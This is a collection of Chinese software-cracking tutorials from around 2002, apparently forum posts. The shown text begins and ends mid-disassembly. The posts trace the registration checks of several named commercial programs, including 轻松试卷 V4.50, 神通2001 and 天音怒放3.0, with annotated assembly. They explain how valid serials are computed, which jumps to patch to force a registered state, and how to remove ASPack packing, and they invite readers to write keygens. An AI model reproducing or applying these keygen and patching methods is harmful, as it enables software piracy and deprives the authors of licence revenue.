:0048D60B 8D55E0 lea edx, dword ptr [ebp-20]
:0048D60E 899564FFFFFF mov dword ptr [ebp+FFFFFF64], edx
:0048D614 89BD5CFFFFFF mov dword ptr [ebp+FFFFFF5C], edi
:0048D61A 8D458C lea eax, dword ptr [ebp-74]
:0048D61D 50 push eax
:0048D61E 6A01 push 00000001
:0048D620 8D8D5CFFFFFF lea ecx, dword ptr [ebp+FFFFFF5C]
:0048D626 51 push ecx
:0048D627 8D957CFFFFFF lea edx, dword ptr [ebp+FFFFFF7C]
:0048D62D 52 push edx

* Reference To: MSVBVM60.rtcMidCharVar, Ord:0278h
|
:0048D62E 8B3DC0104000 mov edi, dword ptr [004010C0]
:0048D634 FFD7 call edi
:0048D636 8D857CFFFFFF lea eax, dword ptr [ebp+FFFFFF7C]
:0048D63C 50 push eax
:0048D63D FFD3 call ebx
:0048D63F 8BD0 mov edx, eax
:0048D641 8D4DE0 lea ecx, dword ptr [ebp-20]
:0048D644 FFD6 call esi
:0048D646 8D8D7CFFFFFF lea ecx, dword ptr [ebp+FFFFFF7C]
:0048D64C 51 push ecx
:0048D64D 8D558C lea edx, dword ptr [ebp-74]
:0048D650 52 push edx
:0048D651 6A02 push 00000002

* Reference To: MSVBVM60.__vbaFreeVarList, Ord:0000h
|
:0048D653 FF1538104000 Call dword ptr [00401038]
:0048D659 83C40C add esp, 0000000C

:0048D65C C7459401000000 mov [ebp-6C], 00000001
:0048D663 C7458C02000000 mov [ebp-74], 00000002
:0048D66A 8D45E0 lea eax, dword ptr [ebp-20] ;输入假注册码的指针
:0048D66D 898564FFFFFF mov dword ptr [ebp+FFFFFF64], eax
:0048D673 C7855CFFFFFF08400000 mov dword ptr [ebp+FFFFFF5C], 00004008
:0048D67D 8D4D8C lea ecx, dword ptr [ebp-74]
:0048D680 51 push ecx
:0048D681 6A05 push 00000005 ;取输入假注册码的第5字符
:0048D683 8D955CFFFFFF lea edx, dword ptr [ebp+FFFFFF5C]
:0048D689 52 push edx
:0048D68A 8D857CFFFFFF lea eax, dword ptr [ebp+FFFFFF7C] ;存储指针到该地址+8
:0048D690 50 push eax
:0048D691 FFD7 call edi
:0048D693 C78544FFFFFF386D4100 mov dword ptr [ebp+FFFFFF44], 00416D38 ;存储'1'
:0048D69D C7853CFFFFFF08800000 mov dword ptr [ebp+FFFFFF3C], 00008008
:0048D6A7 8D8D7CFFFFFF lea ecx, dword ptr [ebp+FFFFFF7C]
:0048D6AD 51 push ecx ;*[ECX+8]
;与
:0048D6AE 8D953CFFFFFF lea edx, dword ptr [ebp+FFFFFF3C] ;
:0048D6B4 52 push edx ;*[EDX+8]

* Reference To: MSVBVM60.__vbaVarTstEq, Ord:0000h
|
:0048D6B5 FF15E4104000 Call dword ptr [004010E4] ;比较?
:0048D6BB 8BF8 mov edi, eax ;相等返回EAX=-1
:0048D6BD 8D857CFFFFFF lea eax, dword ptr [ebp+FFFFFF7C]
:0048D6C3 50 push eax
:0048D6C4 8D4D8C lea ecx, dword ptr [ebp-74]
:0048D6C7 51 push ecx
:0048D6C8 6A02 push 00000002

* Reference To: MSVBVM60.__vbaFreeVarList, Ord:0000h
|
:0048D6CA FF1538104000 Call dword ptr [00401038]
:0048D6D0 83C40C add esp, 0000000C
:0048D6D3 6685FF test di, di
:0048D6D6 0F84AC000000 je 0048D788

:0048D6DC 8B55E0 mov edx, dword ptr [ebp-20] ;;输入假注册码的5位='1'则来到此处
:0048D6DF 52 push edx

* Reference To: MSVBVM60.__vbaLenBstr, Ord:0000h
|
:0048D6E0 FF1530104000 Call dword ptr [00401030]
:0048D6E6 8BC8 mov ecx, eax
:0048D6E8 83C105 add ecx, 00000005
:0048D6EB 0F80A5050000 jo 0048DC96

* Reference To: MSVBVM60.__vbaI2I4, Ord:0000h
|
:0048D6F1 FF15F4104000 Call dword ptr [004010F4]
:0048D6F7 898534FFFFFF mov dword ptr [ebp+FFFFFF34], eax
:0048D6FD C78538FFFFFF79090000 mov dword ptr [ebp+FFFFFF38], 00000979
:0048D707 8D8534FFFFFF lea eax, dword ptr [ebp+FFFFFF34]
:0048D70D 50 push eax
:0048D70E 8D8D38FFFFFF lea ecx, dword ptr [ebp+FFFFFF38]
:0048D714 51 push ecx
:0048D715 E84635FFFF call 00480C60
:0048D71A 8B45D4 mov eax, dword ptr [ebp-2C]
:0048D71D 8B10 mov edx, dword ptr [eax]
:0048D71F 8D4DA4 lea ecx, dword ptr [ebp-5C]
:0048D722 51 push ecx
:0048D723 8D4DE0 lea ecx, dword ptr [ebp-20]
:0048D726 51 push ecx
:0048D727 50 push eax
:0048D728 FF5220 call [edx+20]
:0048D72B DBE2 fclex
:0048D72D 85C0 test eax, eax
:0048D72F 7D12 jge 0048D743
:0048D731 6A20 push 00000020
:0048D733 6890464100 push 00414690
:0048D738 8B55D4 mov edx, dword ptr [ebp-2C]
:0048D73B 52 push edx
:0048D73C 50 push eax

* Reference To: MSVBVM60.__vbaHresultCheckObj, Ord:0000h
|
:0048D73D FF1560104000 Call dword ptr [00401060]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048D72F(C)
|
:0048D743 8B55A4 mov edx, dword ptr [ebp-5C]
:0048D746 C745A400000000 mov [ebp-5C], 00000000
:0048D74D 8D4DE0 lea ecx, dword ptr [ebp-20]
:0048D750 FFD6 call esi
:0048D752 6A01 push 00000001

* Reference To: MSVBVM60.__vbaStrI2, Ord:0000h
|
:0048D754 FF1508104000 Call dword ptr [00401008]
:0048D75A 8BD0 mov edx, eax
:0048D75C 8D4DA4 lea ecx, dword ptr [ebp-5C]
:0048D75F FFD6 call esi
:0048D761 50 push eax ;[EAX]='1'

* Possible StringData Ref from Code Obj ->"Fstart" ;允许取双字名
|
:0048D762 68246E4100 push 00416E24

* Possible StringData Ref from Code Obj ->"Settings"
|
:0048D767 68B04A4100 push 00414AB0

* Possible StringData Ref from Code Obj ->"myqinamexiangdaodd"
|
:0048D76C 68844A4100 push 00414A84

* Reference To: MSVBVM60.rtcSaveSetting, Ord:02B2h
|
:0048D771 FF150C104000 Call dword ptr [0040100C]
:0048D777 8D4DA4 lea ecx, dword ptr [ebp-5C]

* Reference To: MSVBVM60.__vbaFreeStr, Ord:0000h
|
:0048D77A FF1544124000 Call dword ptr [00401244]
:0048D780 EB06 jmp 0048D788

关于注册码的比较可从此处继续向后看
在WINDOWS\SYSTEM目录下有两个文件"insys.zban"和"msys.zban"
输入假注册码和正确注册码经加密后分别存储在这两个文件中
具体细节请感性趣者自行分析,总之VB的代码是很烦琐的.

keyboy 于2002年3月1日


轻松试卷 V4.50

 标 题:轻松试卷 V4.50 算法分析 (5千字)
发信人:PaulYoung[CCG]
时 间:2002-1-3 20:05:19
详细信息:
ssljx 兄看过来，轻松试卷 V4.50 算法分析，欢迎测试!欢迎写注册机!　:)

作者：PaulYoung
下载：http://www.hktk.com:8080/cgi-bin/dl.pl?url=ftp://ftp.cq.hktk.com/soft/soft_cai/eps.zip
简介：可以在答案中插入图片、对象等，编辑题目并把题目加入题库，题库管理、抽取试卷、分数统计，作业系统是教师的一个好帮手。
工具：SoftICE V4.05
日期：2001-12-23
__________________________________________________________________________________________

    （注意，这个软件在不同的电脑看到的地址可能会不一样。）

    真倒霉呀，竟然中了CIH，把我的可执行文件全部破坏了，害我重装……55555555……搞个算法出出气，嘻……嘻……

    老办法，用 bpx hmemcpy 设断并来到这里……

015F:00407088 PUSH EAX
015F:00407089 CALL EBX // F8 跟入
015F:0040708B CMP BYTE PTR [00578298],00
015F:00407092 JZ 004070A2

    来到……

015F:006D73E0 MOV EAX,[ESP+0C] //假注册码送 EAX
015F:006D73E4 MOV ECX,[ESP+08] //用户名送 ECX
015F:006D73E8 MOV EDX,[ESP+04] //机器码送 EDX
015F:006D73EC PUSH EAX //假注册码入栈
015F:006D73ED PUSH ECX　　　　　　 //用户名入栈
015F:006D73EE PUSH EDX　　　　　 　//机器码入栈
015F:006D73EF CALL 006D7310 //计算，F8跟入
015F:006D73F4 ADD ESP,0C
015F:006D73F7 TEST EAX,EAX
015F:006D73F9 JZ 006D7408

    来到……

015F:006D7310 SUB ESP,10
015F:006D7313 PUSH EBX
015F:006D7314 PUSH EBP
015F:006D7315 PUSH ESI
015F:006D7316 MOV ESI,[ESP+20]
015F:006D731A PUSH EDI
015F:006D731B MOV EDI,ESI
015F:006D731D OR ECX,-01
015F:006D7320 XOR EAX,EAX
015F:006D7322 REPNZ SCASB
015F:006D7324 MOV EBP,[ESP+28]
015F:006D7328 NOT ECX
015F:006D732A DEC ECX
015F:006D732B MOV EDI,EBP
015F:006D732D MOV EBX,ECX
015F:006D732F OR ECX,-01
015F:006D7332 REPNZ SCASB
015F:006D7334 MOV EDI,[ESP+2C]
015F:006D7338 NOT ECX
015F:006D733A DEC ECX
015F:006D733B MOV [ESP+24],ECX
015F:006D733F OR ECX,-01
015F:006D7342 REPNZ SCASB
015F:006D7344 NOT ECX
015F:006D7346 DEC ECX
015F:006D7347 CMP ECX,0F //注册码是否为15位
015F:006D734A JZ 006D7359　　　　　　　　 //相等则跳
015F:006D734C POP EDI
015F:006D734D POP ESI
015F:006D734E POP EBP
015F:006D734F MOV EAX,00000001
015F:006D7354 POP EBX
015F:006D7355 ADD ESP,10
015F:006D7358 RET
015F:006D7359 XOR ECX,ECX //ECX 清零，作为初始值
015F:006D735B MOV EAX,ECX
015F:006D735D CDQ
015F:006D735E IDIV EBX
015F:006D7360 MOVSX EAX,BYTE PTR [ESI+EDX] //依次取机器码字符到EAX，取完则从第1个重新开始依次取位
015F:006D7364 CDQ //双字扩展（实际上是 EDX 清零）
015F:006D7365 MOV EDI,EAX　　 //字符送EDI
015F:006D7367 MOV EAX,ECX　　 //EAX＝ECX
015F:006D7369 XOR EDI,EDX　　 //机器码字符与0异或（EDX=0），结果送EDI
015F:006D736B SUB EDI,EDX　　 //EDI=EDI-EDX（EDX=0）
015F:006D736D CDQ //双字扩展（实际上是 EDX 清零）
015F:006D736E IDIV DWORD PTR [ESP+24] //EAX/用户名长度（EAX=0,1,2...14），商放EAX，余数放EDX（有何用处？不明白 :(）
015F:006D7372 MOVSX EAX,BYTE PTR [EBP+EDX] //依次取用户名字符ASCII到EAX，取完则从第1个重新开始依次取位
015F:006D7376 CDQ //双字扩展（EAX<80000000, EDX=00000000;EAX>= 80000000, EDX则为FFFFFFFF，例如用户字符为中文时，EDX=FFFFFFFF）
015F:006D7377 XOR EAX,EDX //字符与0（或FFFFFFFF）异或，结果送EAX
015F:006D7379 SUB EAX,EDX　　 //EAX=EAX-0（或FFFFFFFF），结果送EAX
015F:006D737B ADD EAX,EDI //EAX=EAX+EDI
015F:006D737D MOV EDI,0000001A　 //EDI=0X1A
015F:006D7382 CDQ //双字扩展（实际上是EDX 清零）
015F:006D7383 IDIV EDI //上面相加的和/0X1A，余数送EDX
015F:006D7385 ADD DL,41　　　 //DL=余数+41
015F:006D7388 MOV [ECX+ESP+10],DL //以字符形式保存
015F:006D738C INC ECX　　　　　　　 //ECX=ECX+1
015F:006D738D CMP ECX,0F //是否取够15位
015F:006D7390 JL 006D735B //不足15位则循环
015F:006D7392 MOV EAX,[ESP+2C] //假注册码送 EAX
015F:006D7396 LEA ESI,[ESP+10]
015F:006D739A MOV DL,[EAX] //取假注册码一个字符
015F:006D739C MOV BL,[ESI] //取真注册码一个字符，D ESI 可以看到正确注册码
015F:006D739E MOV CL,DL //CL=DL
015F:006D73A0 CMP DL,BL //一样？
015F:006D73A2 JNZ 006D73C8　　　　　 //不一样则死
015F:006D73A4 TEST CL,CL　　　　　　　 //是否取完
015F:006D73A6 JZ 006D73BE　　　　　　　　　//未取完继续
015F:006D73A8 MOV DL,[EAX+01]　　　　 //取假注册码下一位
015F:006D73AB MOV BL,[ESI+01]　　　　 //取真注册码一个字符
015F:006D73AE MOV CL,DL (同上)
015F:006D73B0 CMP DL,BL
015F:006D73B2 JNZ 006D73C8
015F:006D73B4 ADD EAX,02
015F:006D73B7 ADD ESI,02
015F:006D73BA TEST CL,CL
015F:006D73BC JNZ 006D739A //循环
015F:006D73BE POP EDI
015F:006D73BF POP ESI
015F:006D73C0 POP EBP
015F:006D73C1 XOR EAX,EAX
015F:006D73C3 POP EBX
015F:006D73C4 ADD ESP,10
015F:006D73C7 RET

    计算每一位结果后，共计算15次，最后以字符形式依次排列输出，作为正确的注册码。
    如有错误，望各位高手指正！


神通2001豪华版

 标 题:神通2001豪华版之破解....sorry,刚刚忘了贴内容:> (8千字)
发信人:eryl
时 间:2002-1-6 3:38:06
详细信息:
这几天就是想找个能自己写注册机的东西,可就是不能如愿.
刚找来这个"神通2001"豪华版,还是个非明码注册的!
我对这个本来就晕,可竟然还是破了!
就写了个过程.也许对人有用哦:>

软件:神通2001豪华版
一款功能强大的系统增强、系统维护工具软件
工具:trw2000,fi,guw

软件本身被aspack2.1压缩.
开始我试破时并没有脱壳,后来还是脱了.不过我发现除了软件体积大了,其他的,脱没脱并没有变化.
我发现实际是很多软件你根本不用脱壳,一样破!

用trw2000装载神通后,按十四下F12,然后两下F10就到这里了

016F:004AE00B MOV EAX,[EBP+FFFFFE18]
016F:004AE011 CALL 00403F10
016F:004AE016 CMP EAX,BYTE +14.......注册码是否20
016F:004AE019 JG 004AE02A......要大于20,否则,嘿嘿!
016F:004AE01B MOV EAX,004AE324
016F:004AE020 CALL 004557F0......到这里就没戏啦.
016F:004AE025 JMP 004AE2B8
016F:004AE02A LEA EAX,[EBP-04]...从这里在开始!
016F:004AE02D PUSH EAX
016F:004AE02E LEA EDX,[EBP+FFFFFE14]
016F:004AE034 MOV EAX,[EBX+030C]
016F:004AE03A CALL 00432010
016F:004AE03F MOV EAX,[EBP+FFFFFE14]
016F:004AE045 MOV ECX,0A
016F:004AE04A MOV EDX,01
016F:004AE04F CALL 00404118
016F:004AE054 LEA EDX,[EBP+FFFFFE10]
016F:004AE05A MOV EAX,[EBX+030C]
016F:004AE060 CALL 00432010
016F:004AE065 MOV EAX,[EBP+FFFFFE10]
016F:004AE06B PUSH EAX
016F:004AE06C LEA EDX,[EBP+FFFFFE0C]
016F:004AE072 MOV EAX,[EBX+0304]
016F:004AE078 CALL 00432010
016F:004AE07D MOV EAX,[EBP+FFFFFE0C]
016F:004AE083 POP EDX
016F:004AE084 CALL 004041FC……追进去！
016F:004AE089 MOV ESI,EAX
016F:004AE08B TEST ESI,ESI
016F:004AE08D JNZ 004AE09E……要跳！
016F:004AE08F MOV EAX,004AE358
016F:004AE094 CALL 004557F0……到这里就错了！
016F:004AE099 JMP 004AE2B8
016F:004AE09E XOR EAX,EAX
016F:004AE0A0 PUSH EBP
016F:004AE0A1 PUSH DWORD 004AE0FB
016F:004AE0A6 PUSH DWORD [FS:EAX]
016F:004AE0A9 MOV [FS:EAX],ESP
016F:004AE0AC LEA EAX,[EBP-08]
016F:004AE0AF PUSH EAX
016F:004AE0B0 LEA EDX,[EBP+FFFFFE08]
016F:004AE0B6 MOV EAX,[EBX+0304]
016F:004AE0BC CALL 00432010
016F:004AE0C1 MOV EAX,[EBP+FFFFFE08]
016F:004AE0C7 CALL 00403F10
016F:004AE0CC ADD ESI,EAX
016F:004AE0CE PUSH ESI
016F:004AE0CF LEA EDX,[EBP+FFFFFE04]
016F:004AE0D5 MOV EAX,[EBX+030C]
016F:004AE0DB CALL 00432010
016F:004AE0E0 MOV EAX,[EBP+FFFFFE04]
016F:004AE0E6 MOV ECX,0A
016F:004AE0EB POP EDX
016F:004AE0EC CALL 00404118
016F:004AE0F1 XOR EAX,EAX
016F:004AE0F3 POP EDX
016F:004AE0F4 POP ECX
016F:004AE0F5 POP ECX
016F:004AE0F6 MOV [FS:EAX],EDX
016F:004AE0F9 JMP SHORT 004AE119……跳！
016F:004AE0FB JMP 004033F0
016F:004AE100 MOV EAX,004AE370
016F:004AE105 CALL 004557F0
016F:004AE10A CALL 0040374C
016F:004AE10F JMP 004AE2B8
016F:004AE114 CALL 0040374C
016F:004AE119 XOR EDI,EDI……到这里！
016F:004AE11B XOR EAX,EAX
016F:004AE11D MOV [EBP-10],EAX
016F:004AE120 MOV EAX,[EBP-04]
016F:004AE123 CALL 00403F10
016F:004AE128 MOV EBX,EAX
016F:004AE12A TEST EBX,EBX
016F:004AE12C JNG 004AE154……不要跳！
016F:004AE12E MOV ESI,01
016F:004AE133 LEA EAX,[EBP-0C]
016F:004AE136 PUSH EAX
016F:004AE137 MOV ECX,01
016F:004AE13C MOV EDX,ESI
016F:004AE13E MOV EAX,[EBP-04]
016F:004AE141 CALL 00404118……取代码前十位
016F:004AE146 MOV EAX,[EBP-0C]
016F:004AE149 CALL 00408C20
016F:004AE14E ADD EDI,EAX
016F:004AE150 INC ESI
016F:004AE151 DEC EBX
016F:004AE152 JNZ 004AE133……要跳！取完往下!
016F:004AE154 MOV EAX,[EBP-08]
016F:004AE157 CALL 00403F10
016F:004AE15C MOV EBX,EAX
016F:004AE15E TEST EBX,EBX
016F:004AE160 JNG 004AE189
016F:004AE162 MOV ESI,01
016F:004AE167 LEA EAX,[EBP-0C]
016F:004AE16A PUSH EAX
016F:004AE16B MOV ECX,01
016F:004AE170 MOV EDX,ESI
016F:004AE172 MOV EAX,[EBP-08]
016F:004AE175 CALL 00404118……从注册码第八位取到第十七位！
016F:004AE17A MOV EAX,[EBP-0C]
016F:004AE17D CALL 00408C20
016F:004AE182 ADD [EBP-10],EAX
016F:004AE185 INC ESI
016F:004AE186 DEC EBX
016F:004AE187 JNZ 004AE167……取第八到十七位!要跳!然后往下!
016F:004AE189 LEA EAX,[EBP+FFFFFE00]......取第十一位到十七位
016F:004AE18F PUSH EAX
016F:004AE190 LEA EDX,[EBP+FFFFFDFC]
016F:004AE196 MOV EAX,EDI......取第十四十五两位!
016F:004AE198 CALL 00408BF0
016F:004AE19D MOV EAX,[EBP+FFFFFDFC]
016F:004AE1A3 MOV ECX,01
016F:004AE1A8 MOV EDX,01
016F:004AE1AD CALL 00404118
016F:004AE1B2 MOV EAX,[EBP+FFFFFE00]
016F:004AE1B8 PUSH EAX
016F:004AE1B9 LEA EAX,[EBP+FFFFFDF8]
016F:004AE1BF PUSH EAX
016F:004AE1C0 LEA EDX,[EBP+FFFFFDF4]
016F:004AE1C6 MOV EAX,[EBP-10]
016F:004AE1C9 CALL 00408BF0
016F:004AE1CE MOV EAX,[EBP+FFFFFDF4]
016F:004AE1D4 MOV ECX,01
016F:004AE1D9 MOV EDX,01
016F:004AE1DE CALL 00404118
016F:004AE1E3 MOV EDX,[EBP+FFFFFDF8]
016F:004AE1E9 POP EAX
016F:004AE1EA CALL 00404020
016F:004AE1EF JNZ NEAR 004AE2AE.....此处千万不要跳!
016F:004AE1F5 MOV EAX,004AE388
016F:004AE1FA CALL 004557F0.......到这里就成功了!注意:是同一个call来显示成功或失败窗口!
016F:004AE1FF MOV DL,01
016F:004AE201 MOV EAX,[004569D8]
016F:004AE206 CALL 00456AD8
016F:004AE20B MOV EBX,EAX
016F:004AE20D MOV EDX,80000000
016F:004AE212 MOV EAX,EBX
016F:004AE214 CALL 00456B78
016F:004AE219 MOV CL,01
016F:004AE21B MOV EDX,004AE3D4
016F:004AE220 MOV EAX,EBX
016F:004AE222 CALL 00456BE0
016F:004AE227 MOV ECX,004AE3E0
016F:004AE22C XOR EDX,EDX
016F:004AE22E MOV EAX,EBX
016F:004AE230 CALL 00457044
016F:004AE235 MOV EAX,EBX
016F:004AE237 CALL 00456B48
016F:004AE23C MOV EAX,EBX
016F:004AE23E CALL 00402F44
016F:004AE243 LEA EAX,[EBP+FFFFFDF0]
016F:004AE249 MOV EDX,[EBP-14]
016F:004AE24C CALL 00403E48
016F:004AE251 LEA EAX,[EBP+FFFFFDF0]
016F:004AE257 MOV EDX,004AE3EC
016F:004AE25C CALL 00403F18
016F:004AE261 MOV EDX,[EBP+FFFFFDF0]
016F:004AE267 LEA EAX,[EBP+FFFFFE20]
016F:004AE26D CALL 00405EA2
016F:004AE272 LEA EAX,[EBP+FFFFFE20]
016F:004AE278 CALL 0040612A
016F:004AE27D CALL 00402804
016F:004AE282 MOV EDX,004AE408
016F:004AE287 LEA EAX,[EBP+FFFFFE20]
016F:004AE28D CALL 004042A8
016F:004AE292 CALL 00406203
016F:004AE297 CALL 00402804
016F:004AE29C LEA EAX,[EBP+FFFFFE20]
016F:004AE2A2 CALL 00405F44
016F:004AE2A7 CALL 00402804
016F:004AE2AC JMP SHORT 004AE2B8
016F:004AE2AE MOV EAX,004AE370......从这里一直往下走,直到程序退出!
016F:004AE2B3 CALL 004557F0
016F:004AE2B8 XOR EAX,EAX
016F:004AE2BA POP EDX
016F:004AE2BB POP ECX
016F:004AE2BC POP ECX
016F:004AE2BD MOV [FS:EAX],EDX
016F:004AE2C0 PUSH DWORD 004AE2FA
016F:004AE2C5 LEA EAX,[EBP+FFFFFDF0]
016F:004AE2CB MOV EDX,05
016F:004AE2D0 CALL 00403CB4
016F:004AE2D5 LEA EAX,[EBP+FFFFFE04]
016F:004AE2DB MOV EDX,07
016F:004AE2E0 CALL 00403CB4
016F:004AE2E5 LEA EAX,[EBP-0C]
016F:004AE2E8 MOV EDX,03
016F:004AE2ED CALL 00403CB4
016F:004AE2F2 RET
016F:004AE2F3 JMP 004036A4
016F:004AE2F8 JMP SHORT 004AE2C5
016F:004AE2FA POP EDI
016F:004AE2FB POP ESI
016F:004AE2FC POP EBX
016F:004AE2FD MOV ESP,EBP
016F:004AE2FF POP EBP

你走一段后会到一处循环,改动那个跳转使程序能经过被跳过的两个winapi函数,然后,继续按住f10直到"神通"自行退出.

重新启动,再看注册处,显示已经注册,按钮也便灰.

我本来还想写的更详细点,不过我找了半天也没发现它存注册文件的地方.注册表里没有关于注册的项目,软件本身目录下有个reg文件,移走后重起显示仍然注册.删除注册表主键,删除软件,重新安装也仍然显示注册!我晕!

只好这样了!


天音怒放3.0

 标 题:天音怒放3.0的注册过程暨DeDe使用教程(一)。写注册机的事情还是留给大家练手吧.偶要上学去了.:) (27千字)
发信人:crack007
时 间:2002-3-17 10:37:30
详细信息:
作者：Crack007
主页：http://www.crack007.com ( ^-^ )
破解日期：2002-3-16
破解工具：TRW2000 1.22 W32dASM 8.93 Dede 3.02简体中文版 fi2.49a Caspr1.10
难度：★★

软件下载地址： http://hn.skycn.net/down/typlayer.zip

软件简介：

天音怒放是一款全功能的多媒体和MP3播放器。支持MP3, CD, WAV, MIDI, AVI, MPEG Video, Windows Media, QuickTime，MPEG4等格式，

有众多令人心动的功能：歌词库能保存您喜爱的歌词,CD转录器将您喜欢的歌从CD转换为MP3, 10频段均衡器增强音乐的音色，自动保存播放清

单。

主程序由fi侦测出是用ASPack v2.11加的壳。这个Esay，用Caspr1.10轻松搞定。在此不得不额外在多嘴一句，那个ajj[CCG]编写的

CasprGui很好使。我对其是怎么编写的十分有兴趣。因为我也想编写一些有关加参数DOS程序的外壳(Shell/GUI)。希望大家尤其是ajj[CCG]大

哥能给我提供一些资料。OK，言归正转。让我们继续聊聊这个软件的加密过程。

由于他是采用Delphi编写的软件，因此Dede此时就派上了大用场。在对付Delphi程序时，DeDe相对 W32dASM 而言有着非常大的优势。其中

最有用的莫过于他能分析出程序所采用的具体的控件和相关delphi函数。这样在遇到某些Call的时候我们可以非常快的判断出某段代码有什么

作用，避免了钻 Call 的牛角尖，节省了大量的时间和精力。这在后面我们将会看到。

经过Dede对脱壳文件的处理之后，在窗体部分我们会看到一个TRegisterForm的模块，内容如下：

object RegisterForm: TRegisterForm

......

object Label2: TLabel
Left = 20
Top = 72
Width = 31
Height = 13
Caption = 'Name:' <----姓名编辑框
Transparent = True
end
object Label3: TLabel
Left = 20
Top = 100
Width = 28
Height = 13
Caption = 'Code:' <----注册码编辑框
Transparent = True
end
object bnRegister: TButton
Left = 176
Top = 132
Width = 65
Height = 25
Caption = '&OK' <----确认按钮
ModalResult = 1
TabOrder = 3
OnClick = bnRegisterClick <----非常重要，程序就是从这个动作(OnClick)开始注册过程！
end 让我们记下它的名称：bnRegisterClick

.....

让我们再来到程序一栏，找到TRegisterForm，单击，在右边的时间栏里我们就会看到bnRegisterClick这个事件。双击可从此RVA处进行反

汇编，得到内容如下：

***** TRY

|
004E708A 64FF30 push dword ptr fs:[eax]
004E708D 648920 mov fs:[eax], esp
004E7090 B201 mov dl, $01

* Reference to class TProcessRegister <----开始注册流程
|
004E7092 A104A44E00 mov eax, dword ptr [$4EA404]

* Reference to: system.TObject.Create(TObject;Boolean);
|
004E7097 E820BFF1FF call 00402FBC
004E709C 8BD8 mov ebx, eax
004E709E 8BC3 mov eax, ebx

|
004E70A0 E80F770000 call 004EE7B4
004E70A5 8D55F8 lea edx, [ebp-$08]

* Reference to control TRegisterForm.edUserName : TEdit <----从UserName : TEdit里获取用户名
|
004E70A8 8B86EC020000 mov eax, [esi+$02EC]

* Reference to: controls.TControl.GetText(TControl):System.String;
|
004E70AE E80DF8F4FF call 004368C0
004E70B3 8B55F8 mov edx, [ebp-$08]

* Reference to field TProcessRegister.OFFS_0154
|
004E70B6 8D8354010000 lea eax, [ebx+$0154]

* Reference to: system.@LStrAsg;
|
004E70BC E863CCF1FF call 00403D24
004E70C1 8D55F4 lea edx, [ebp-$0C]

* Reference to control TRegisterForm.edRegCode : TEdit <----从RegCode : TEdit里获取注册码
|
004E70C4 8B86F0020000 mov eax, [esi+$02F0]

* Reference to: controls.TControl.GetText(TControl):System.String; // 这就是DeDe的好处，一目了然，
| 再往后你会体会得更深刻！ *^_^*
004E70CA E8F1F7F4FF call 004368C0
004E70CF 8B55F4 mov edx, [ebp-$0C]
004E70D2 8BC3 mov eax, ebx

|
004E70D4 E8EB760000 call 004EE7C4 <----在此行双击进入此Call

* Reference to field TProcessRegister.OFFS_015C
|
004E70D9 80BB5C01000000 cmp byte ptr [ebx+$015C], $00 <---很经典的比对，不是么？
004E70E0 0F84C8000000 jz 004E71AE
004E70E6 6A00 push $00
004E70E8 668B0D10724E00 mov cx, word ptr [$4E7210]
004E70EF B202 mov dl, $02

* Possible String Reference to: '谢谢你选择了天音怒放'
|
004E70F1 B81C724E00 mov eax, $004E721C

|
004E70F6 E8496AF7FF call 0045DB44
004E70FB 8D55F0 lea edx, [ebp-$10]

----------------------------------call 004EE7C4---------------------------------------------

***** TRY
|
004EE7F9 64FF30 push dword ptr fs:[eax]
004EE7FC 648920 mov fs:[eax], esp

* Reference to field TProcessRegister.OFFS_0158
|
004EE7FF 8D8658010000 lea eax, [esi+$0158]
004EE805 8BD3 mov edx, ebx

* Reference to: system.@LStrAsg;
|
004EE807 E81855F1FF call 00403D24
004EE80C 8BC3 mov eax, ebx

* Reference to: system.@LStrLen:Integer; <---- LStrLen:Integer，顾名思义，就是取子串的长度，
返回一个整数值（保存在EAX）。也就说下面的那个
Call 你不用跟进去就知道是干什么的。方便吧！
004EE80E E83D57F1FF call 00403F50
004EE813 83F80E cmp eax, +$0E
004EE816 0F8C0C040000 jl 004EEC28 <----这两句要求注册码的位数大于14(=0Eh)位
004EE81C 8D45C4 lea eax, [ebp-$3C]
004EE81F 8A13 mov dl, byte ptr [ebx]
004EE821 885001 mov [eax+$01], dl
004EE824 C60001 mov byte ptr [eax], $01
004EE827 8D55C4 lea edx, [ebp-$3C]
004EE82A 8D45C0 lea eax, [ebp-$40]

* Reference to: system.@PStrCpy; <---- PStrCpy 复制字串
|
004EE82D E8F242F1FF call 00402B24
004EE832 8D45BC lea eax, [ebp-$44]
004EE835 8A5301 mov dl, byte ptr [ebx+$01]
004EE838 885001 mov [eax+$01], dl
004EE83B C60001 mov byte ptr [eax], $01
004EE83E 8D55BC lea edx, [ebp-$44]
004EE841 8D45C0 lea eax, [ebp-$40]
004EE844 B102 mov cl, $02 <---- 注意赋给 cl 的规律

* Reference to: system.@PStrNCat; <---- PStrNCat 字串合并
|
004EE846 E8A942F1FF call 00402AF4
004EE84B 8D55C0 lea edx, [ebp-$40]
004EE84E 8D45B8 lea eax, [ebp-$48]

* Reference to: system.@PStrCpy;
|
004EE851 E8CE42F1FF call 00402B24
004EE856 8D45BC lea eax, [ebp-$44]
004EE859 8A5302 mov dl, byte ptr [ebx+$02]
004EE85C 885001 mov [eax+$01], dl
004EE85F C60001 mov byte ptr [eax], $01
004EE862 8D55BC lea edx, [ebp-$44]
004EE865 8D45B8 lea eax, [ebp-$48]
004EE868 B103 mov cl, $03 <---- 取 3 个字符

* Reference to: system.@PStrNCat;
|
004EE86A E88542F1FF call 00402AF4
004EE86F 8D55B8 lea edx, [ebp-$48]
004EE872 8D45F0 lea eax, [ebp-$10]

* Reference to: system.@LStrFromString(String;ShortString); <---- 获取子串
|
004EE875 E87A56F1FF call 00403EF4
004EE87A 8D45C4 lea eax, [ebp-$3C]
004EE87D 8A5304 mov dl, byte ptr [ebx+$04]
004EE880 885001 mov [eax+$01], dl
004EE883 C60001 mov byte ptr [eax], $01
004EE886 8D55C4 lea edx, [ebp-$3C]
004EE889 8D45C0 lea eax, [ebp-$40]

* Reference to: system.@PStrCpy;
|
004EE88C E89342F1FF call 00402B24
004EE891 8D45BC lea eax, [ebp-$44]
004EE894 8A5305 mov dl, byte ptr [ebx+$05]
004EE897 885001 mov [eax+$01], dl
004EE89A C60001 mov byte ptr [eax], $01
004EE89D 8D55BC lea edx, [ebp-$44]
004EE8A0 8D45C0 lea eax, [ebp-$40]
004EE8A3 B102 mov cl, $02 <---- 注意赋给 cl 的规律

* Reference to: system.@PStrNCat;
|
004EE8A5 E84A42F1FF call 00402AF4
004EE8AA 8D55C0 lea edx, [ebp-$40]
004EE8AD 8D45B8 lea eax, [ebp-$48]

* Reference to: system.@PStrCpy;
|
004EE8B0 E86F42F1FF call 00402B24
004EE8B5 8D45BC lea eax, [ebp-$44]
